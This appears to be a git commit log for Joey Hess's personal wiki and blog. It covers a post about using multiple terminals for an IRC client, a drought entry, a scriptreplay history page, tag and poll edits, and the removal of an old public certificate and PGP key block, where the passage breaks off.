+[writing scrollback to unlinked temp files](http://www.climagic.org/bugreports/libvte-scrollback-written-to-disk.html).. sigh!)
+
+An IRC client that uses multiple cooperating virtual terminals, needs a way to
+start up a new virtual terminal displaying the current channel. It could
+run something like this:
+
+	x-terminal-emulator -e the-irc-client --display-current-channel
+
+That would communicate with the main process via a unix socket to find out
+what to display.
+
+Or, more generally:
+
+	x-terminal-emulator -e connect-pty /dev/pts/9
+
+`connect-pty` would simply connect a pty device to the terminal, relaying
+IO between them. The calling program would allocate the pty and do IO to
+it. This may be too general to be optimal though. For one thing, I think
+that most curses libraries have a singleton terminal baked into them, so it
+might be hard to have a single process control cursors on multiple pty's.
+And, it might be innefficient to feed that 1 thousand lines of scrollback
+through the pty and copy it to the terminal.
+
+Less general than that, but still general enough to not involve writing an
+IRC client, would be a library that handled the irc-client-like channel
+display, with messages scrolling up the terminal (and into the scrollback
+buffer), a input area at the bottom, and perhaps a few other fixed regions
+for status bars and etc.
+
+Oh, I already implemented that! In [[code/concurrent-output]],
+over a year ago: [[a_tiling_region_manager_for_the_console]]
+
+I wonder what other terminal applications could be simplified/improved
+by using multiple terminals? One that comes to mind is mutt, which has
+a folder list, a folder view, and an email view, that all are
+shoehorned, with some complexity, into a single terminal.
+
+[[!tag wishlist]]

add more to haskell feed
diff --git a/blog/entry/PoW_bucket_bloom.mdwn b/blog/entry/PoW_bucket_bloom.mdwn
index 91b91fe..6a87a44 100644
--- a/blog/entry/PoW_bucket_bloom.mdwn
+++ b/blog/entry/PoW_bucket_bloom.mdwn
@@ -99,3 +99,5 @@ from flooding so many requests that legitimate clients are forced to do
 an expensive proof of work and then time out waiting for the server. But
 that's an expensive attack to keep running, and the proof of work can 
 be adjusted to make it increasingly expensive.
+
+[[!tag haskell]]
diff --git a/blog/entry/keysafe_alpha_release.mdwn b/blog/entry/keysafe_alpha_release.mdwn
index c9787ee..4ef5781 100644
--- a/blog/entry/keysafe_alpha_release.mdwn
+++ b/blog/entry/keysafe_alpha_release.mdwn
@@ -31,3 +31,5 @@ quick Haskell interface to the C version of the zxcvbn password strength
 estimation library.
 
 PS: Past 50% of my goal on [Patreon](https://www.patreon.com/joeyh)!
+
+[[!tag haskell]]
diff --git a/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn b/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn
index 399a682..749bcd4 100644
--- a/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn
+++ b/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn
@@ -42,3 +42,5 @@ Propellor's core data types have evolved much more than in any program I
 worked on before. That's exciting!
 
 Next: [[twenty_years_of_free_software_--_part_13_past_and_future]]
+
+[[!tag haskell]]
diff --git a/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn b/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn
index c411b1f..4fee31f 100644
--- a/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn
+++ b/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn
@@ -28,3 +28,5 @@ and *wham* got hit by the type theory bus. And now I see that I was stuck
 in a rut before, and begin to get a feeling of many new possibilities.
 
 That's a good feeling to have, twenty years in.
+
+[[!tag haskell]]

oldest first
diff --git a/blog/haskell.mdwn b/blog/haskell.mdwn
index 5fb8f8f..65c767b 100644
--- a/blog/haskell.mdwn
+++ b/blog/haskell.mdwn
@@ -1,4 +1,4 @@
-Haskell-related posts to [[Joey]]'s [[blog]].
+Haskell-related posts to [[Joey]]'s [[blog]], oldest first.
 
 [[!inline pages="blog/entry/* and link(haskell) and !*/Discussion" show=0
 reverse=yes]]

oops
diff --git a/blog/haskell.mdwn b/blog/haskell.mdwn
index 69f6901..5fb8f8f 100644
--- a/blog/haskell.mdwn
+++ b/blog/haskell.mdwn
@@ -1,4 +1,4 @@
 Haskell-related posts to [[Joey]]'s [[blog]].
 
 [[!inline pages="blog/entry/* and link(haskell) and !*/Discussion" show=0
-sort=reverse]]
+reverse=yes]]

reverse this page
diff --git a/blog/haskell.mdwn b/blog/haskell.mdwn
index b48beb1..69f6901 100644
--- a/blog/haskell.mdwn
+++ b/blog/haskell.mdwn
@@ -1,3 +1,4 @@
 Haskell-related posts to [[Joey]]'s [[blog]].
 
-[[!inline pages="blog/entry/* and link(haskell) and !*/Discussion" show=0]]
+[[!inline pages="blog/entry/* and link(haskell) and !*/Discussion" show=0
+sort=reverse]]

poll vote (watched it all, liked it)
diff --git a/blog/entry/watch_me_code_for_half_an_hour.mdwn b/blog/entry/watch_me_code_for_half_an_hour.mdwn
index c412b92..393d216 100644
--- a/blog/entry/watch_me_code_for_half_an_hour.mdwn
+++ b/blog/entry/watch_me_code_for_half_an_hour.mdwn
@@ -14,7 +14,7 @@ Not shown is the hour I spent the next day changing the "optimize"
 subcommand implemented here into "--auto" options that can be passed to
 [[code/git-annex]]'s get and drop commands.
 
-[[!poll 46 "watched it all, liked it" 8 "watched some, boring" 4 "too long for me" 15 "too haskell for me" 12 "not interested"]]
+[[!poll 47 "watched it all, liked it" 8 "watched some, boring" 4 "too long for me" 15 "too haskell for me" 12 "not interested"]]
 
 [[!meta title="watch me program for half an hour"]]
 [[!tag haskell]]

poll vote (watched it all, liked it)
diff --git a/blog/entry/watch_me_code_for_half_an_hour.mdwn b/blog/entry/watch_me_code_for_half_an_hour.mdwn
index 543b3af..c412b92 100644
--- a/blog/entry/watch_me_code_for_half_an_hour.mdwn
+++ b/blog/entry/watch_me_code_for_half_an_hour.mdwn
@@ -14,7 +14,7 @@ Not shown is the hour I spent the next day changing the "optimize"
 subcommand implemented here into "--auto" options that can be passed to
 [[code/git-annex]]'s get and drop commands.
 
-[[!poll 45 "watched it all, liked it" 8 "watched some, boring" 4 "too long for me" 15 "too haskell for me" 12 "not interested"]]
+[[!poll 46 "watched it all, liked it" 8 "watched some, boring" 4 "too long for me" 15 "too haskell for me" 12 "not interested"]]
 
 [[!meta title="watch me program for half an hour"]]
 [[!tag haskell]]

keysafe
diff --git a/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
index aeb5fce..7a6b2a2 100644
--- a/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
+++ b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
@@ -6,3 +6,8 @@ Linux.Conf.Au is a wonderful conference, and I'm thrilled to be able to
 attend it again.
 
 [[!tag propellor]]
+
+--
+
+Update: My presentation on [[code/keysafe]] has also been accepted for the
+Security MiniConf at LCA, January 17th.
diff --git a/code/keysafe/details.mdwn b/code/keysafe/details.mdwn
index 4b18e32..e0f85e5 100644
--- a/code/keysafe/details.mdwn
+++ b/code/keysafe/details.mdwn
@@ -51,7 +51,7 @@ average of 35 minutes.
 * Repeat for next password.
 
 So, for a password with N entropy, the number of CPU-years of work
-is to crack it is: 2^(N-1)*50/60/24/365
+is to crack it is: `2^(N-1)*50/60/24/365`
 
 * Strong password (50 entropy): 53553077761 CPU-years
 * Weak password (30 entropy): 51072 CPU-years
@@ -84,10 +84,10 @@ of shards, and obtain all the encrypted keys for further cracking. So it's
 important that there not be any checksum or header in addition to the AES
 encrypted data. (AES encrypted data cannot be distinguised from random
 garbage except by block size.) Get that right, and with N keysafe users, an
-attacker would need to try 2^(N-1) combinations of shards to find one on
+attacker would need to try `2^(N-1)` combinations of shards to find one on
 average, and would need to brute force the password of each combination.
 With only 20 keysafe users, assuming all users have super-weak passwords,
-this attack takes 13107200 years of CPU work (2^19*25) to crack one. With
+this attack takes 13107200 years of CPU work `(2^19*25)` to crack one. With
 50 users, this jumps to quadrillions of years of CPU work.
 
 Colluding servers can try to correlate related objects based on access

fix identica feed
diff --git a/grep.mdwn b/grep.mdwn
index e73e432..00fe74b 100644
--- a/grep.mdwn
+++ b/grep.mdwn
@@ -8,5 +8,5 @@ on the net.
 List of feeds:
 
 * [[!aggregate expirecount=25 name="music" feedurl="http://libre.fm/rdf.php?fmt=rss&page=%2Fuser%2Fjoeyhess%2Frecent-tracks" url="http://libre.fm/user/joeyhess"]]
-* [[!aggregate expirecount=25 name="identi.ca posts" feedurl="http://tmp.joeyh.name/pump.atom" url="http://identi.ca/joeyh"]]
+* [[!aggregate expirecount=25 name="identi.ca posts" feedurl="https://pump2rss.com/feed/joeyh@identi.ca.atom" url="http://identi.ca/joeyh"]]
 * [[!aggregate expirecount=25 name="books" feedurl="http://www.goodreads.com/review/list_rss/2159448?key=afd7e8432b3f9e33edab442a7c94e95849af4527&shelf=currently-reading" url="http://www.goodreads.com/user/show/2159448"]]

blog update
diff --git a/blog/entry/drought.mdwn b/blog/entry/drought.mdwn
new file mode 100644
index 0000000..6b6b372
--- /dev/null
+++ b/blog/entry/drought.mdwn
@@ -0,0 +1,28 @@
+Drought here since August. The small cistern ran dry a month ago, which has
+never happened before. The large cistern was down to some 900 gallons. I
+don't use anywhere near the national average of 400 gallons per day. More
+like 10 gallons. So could have managed for a few more months.
+Still, this was worrying, especially as the area moved from severe to
+extreme drought according to the 
+[US Drought Monitor](http://droughtmonitor.unl.edu/).
+
+Two days of solid rain fixed it, yay! The small cistern has already
+refilled, and the large will probably be full by tomorrow.
+
+The winds preceeding that same rain storm fanned the flames that
+destroyed Gatlinburg. Earlier, fire got within 10 miles of here,
+although that may have been some kind of controlled burn.
+
+Climate change is leading to longer duration weather events in this area.
+What tended to be a couple of dry weeks in the fall, has become multiple
+months of drought and weeks of fire. What might have been a few days of
+winter weather and a few inches of snow before the front moved through has
+turned into multiple weeks of arctic air, with multiple 1 ft snowfalls.
+What might have been a few scorching summer days has become a week of
+100-110 degree temperatures. I've seen all that over the past several
+years.
+
+After this, I'm adding "additional, larger cistern" to my todo list.
+Also "larger fire break around house".
+
+[[!tag lay]]

add
diff --git a/code.mdwn b/code.mdwn
index 9d6bceb..2aa5ac7 100644
--- a/code.mdwn
+++ b/code.mdwn
@@ -50,6 +50,7 @@ people have taken them on.
 [[pentium-builder]]
 [[apt-src]]
 [[jetring]]
+[[scriptreplay]]
 
 These need new maintainers, stat!
 
diff --git a/code/scriptreplay.mdwn b/code/scriptreplay.mdwn
new file mode 100644
index 0000000..874b37e
--- /dev/null
+++ b/code/scriptreplay.mdwn
@@ -0,0 +1,31 @@
+In 2000, I [patched script](https://bugs.debian.org/68556) to
+dump out timing information, which let typescripts be
+replayed with realistic typing and output delays by a
+`scriptreplay` command I whipped up.
+
+This was not a unique idea; Anthony Towns had some code to do
+something similar. And four months later, Satoru Takabayashi
+created [ttyrec](http://0xcc.net/ttyrec/) which does much the same.
+Of screenreplay, he says:
+
+> A friend of mine told me that Mr. Joey Hess implemented the same thing.
+> If I had only known that earlier, I would have never reinvented the
+> wheel...
+
+In the end, ttyrec became the go-to tool for this purpose. Probably
+because it includes all the information in a single file, rather than the
+two files script uses (one for the terminal output and the other
+that I added for the timings)
+
+In any case, it's common now to record terminal sessions and play
+them back in real time. One of the best known uses is by
+[nethack.alt.org](https://nethack.alt.org/) for replay and live
+watching of games.
+
+I've had nothing to do with scriptreplay since I wrote it. Others have
+maintained it since. I tend to use ttyrec more myself,
+and have made a number of improvements to it, some of which have been
+included in the Debian package, but none of which seem to have gotten back
+to upstream as of yet. A number of my other patches to ttyrec, including
+using inotify to improve live playback of ttyrecord, are languishing 
+in a [git repository](https://git.joeyh.name/?p=zzattic/ttyrec.git;a=summary).

desc
diff --git a/index.mdwn b/index.mdwn
index 664493f..fe978e5 100644
--- a/index.mdwn
+++ b/index.mdwn
@@ -1,5 +1,5 @@
 [[!meta title="Joey Hess"]]
-[[!meta description="home page, blog, projects, interviews, and hidden jems"]]
+[[!meta description="building worthwhile things that might last"]]
 
 <div>
 <style>

desc
diff --git a/blog.mdwn b/blog.mdwn
index 89195b3..afef011 100644
--- a/blog.mdwn
+++ b/blog.mdwn
@@ -1,4 +1,5 @@
 [[!meta title="see shy jo"]]
+[[!meta description="Joey Hess's blog"]]
 
 [[!inline pages="blog/entry/* and !blog/entry/*/* and !link(foo) and 
 !link(unfinished)"

desc
diff --git a/index.mdwn b/index.mdwn
index 4cccc7e..664493f 100644
--- a/index.mdwn
+++ b/index.mdwn
@@ -1,4 +1,5 @@
 [[!meta title="Joey Hess"]]
+[[!meta description="home page, blog, projects, interviews, and hidden jems"]]
 
 <div>
 <style>

remove old cruft
diff --git a/joeyca/cacert.crt b/joeyca/cacert.crt
deleted file mode 100644
index aafcd75..0000000
--- a/joeyca/cacert.crt
+++ /dev/null
@@ -1,18 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIC9zCCAmCgAwIBAgIBADANBgkqhkiG9w0BAQQFADBhMQswCQYDVQQGEwJVUzEL
-MAkGA1UECBMCVE4xEDAOBgNVBAoTB2tpdGVuZXQxEjAQBgNVBAMTCUpvZXkgSGVz
-czEfMB0GCSqGSIb3DQEJARYQam9leUBraXRlbmV0Lm5ldDAeFw0wMzA3MjAwODUx
-NTVaFw0xMzA3MTcwODUxNTVaMGExCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJUTjEQ
-MA4GA1UEChMHa2l0ZW5ldDESMBAGA1UEAxMJSm9leSBIZXNzMR8wHQYJKoZIhvcN
-AQkBFhBqb2V5QGtpdGVuZXQubmV0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB
-gQC+CdlAO61uyyqHx9XST63R9hk6aPiMXO9mnp3sHrgybpfisXizPx5l3UdGZX8t
-A59K6EjoQd1ClLOoYJdOSxH+yzQfUQ3JNsbKYkzarGEfy/D5PV6mTonzHxdF4sdj
-uGH+Ov2kiU3hxCRGpoqEagi9H+m2T7J32qAFDebqwbUDAQIDAQABo4G+MIG7MB0G
-A1UdDgQWBBQgh36YzCLs2dXfrvYuAhoSXak99zCBiwYDVR0jBIGDMIGAgBQgh36Y
-zCLs2dXfrvYuAhoSXak996FlpGMwYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlRO
-MRAwDgYDVQQKEwdraXRlbmV0MRIwEAYDVQQDEwlKb2V5IEhlc3MxHzAdBgkqhkiG
-9w0BCQEWEGpvZXlAa2l0ZW5ldC5uZXSCAQAwDAYDVR0TBAUwAwEB/zANBgkqhkiG
-9w0BAQQFAAOBgQA4BBQUKLlXzRC0DxkbU3FHKNVRb4RvPMFdw3L7NLBR/ZM+7VS0
-5CWCTUfSXmS0mUf/kTpk7z2Mv1Sdca/br+Wm8UB90xVgHlteMri3L+qnvgu39SRO
-Y05VaIDcaDtvbDUg93eQTOkZ1pYxphN3shd0lxInHSNaijQccWokxsDJTw==
------END CERTIFICATE-----
diff --git a/joeyca/cacert.crt.asc b/joeyca/cacert.crt.asc
deleted file mode 100644
index 53a5367..0000000
--- a/joeyca/cacert.crt.asc
+++ /dev/null
@@ -1,24 +0,0 @@
------BEGIN PGP MESSAGE-----
-Version: GnuPG v1.2.2 (GNU/Linux)
-
-owFtVDuP41QUHnahwNIW09CAEMV2EcSJ8xgjrUb3FdtJrjPXr9ih8iOxHTuTd+y4
-X2m1oqBGSGyxULEdNPyAraCgXUo6tCUNHXaGGRbBlW7z6V6d8z3O+eLB/bN7569e
-HX/On14O33rxtuZxvutPN7tP/M3u8sPfn35cHUgkRf0IEc1QegoCBjmhHFUUJBYI
-gQUKQaZAEJYXAxWGyTpKYknMeAgY6wEMI8q2GWIOthiTSNa3zIIMOQoSCTRMgiBF
-FmnlBIMRDFULgqUBm7tVIFn7ic1yMgfsBqcGMleHiZ2EumQVnF+QGYW8hPS1pCue
-gBnpA81h7kJMpybcuLaWeguLHy7aaYDBtJfxGS2AQOcgG2Ez51TDckswP4GGfwIr
-jEokRwXo31R1DJBaxhsUlJKCacwJKym0bihEVHabKT8ZV5WITiE44SCnfb3qRofK
-xFYLql1kMnP6g+VEiQ6+ygGWwF4E117TajPpjvO+apsq0oyCf9ErBTVBWVMFGMGY
-DSAXMlRDQQpGncb+eFzLuWjrRkfQxCjpuFcxtUfi4nolbOVNePRWs3hrx8VV3k4F
-M5Am9sWOA21x0CHzJQsaKB2Olk4/GOm5XDsWbGYyoa9uvYGTFO5GIrNjHbevrM7C
-WF4Xch70Wttgzu0luTY6NJPYFKIcadJquSZuGItybdE0un2huQY9PPXWmWdiwJTy
-ArhsSbWSXrdyjyuFCnDIxhCyMBI6ToGG22ZgzzYHZw+ipW67iVgGDcZZqb7Gz6Ei
-4fIzCP9+z/3vh04vXUk0cwwyvA1amUNkWfQNa8PSWm3EUQ1kODx5OyBZcBccqikZ
-AScckywdVC4pJEp9geZyAYLbqHNV1hEjYyJV8UzBXRZQu7RTRyXnDINT+wYEZgYy
-AuvFP7PC3Q1LNQIMtEotzMEwtQsN8ThPPFPoyQPV0ryWdriivSAThl11CLX6hNa6
-ls5zbTRGhjnT7YXOL8xZPTFWSbdo0kNDD3y37m1q48WFCUU+t0I53U3pJhaGtfX1
-IdwLol5q4PBty1Ww7+LdwcNmKApTZoySSWPl5KtIFbZRwKe5ci3rqhvPme+Pl0m+
-xX0je/SIO20EouL/boknl/ffOatWye2aOb9Ht2fPvnrv+0ny3Qfffvb6z8ZPD9/9
-8cX5H1+fPfvmy5fnn//6Ev7y+FP1wfPf3v/h9XP9Lw==
-=C4IM
------END PGP MESSAGE-----
diff --git a/joeyca/gpgkey.asc b/joeyca/gpgkey.asc
deleted file mode 100644
index 4d00577..0000000
--- a/joeyca/gpgkey.asc
+++ /dev/null
@@ -1,1373 +0,0 @@
------BEGIN PGP PUBLIC KEY BLOCK-----
-Version: GnuPG v1.0.7 (GNU/Linux)
-
-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
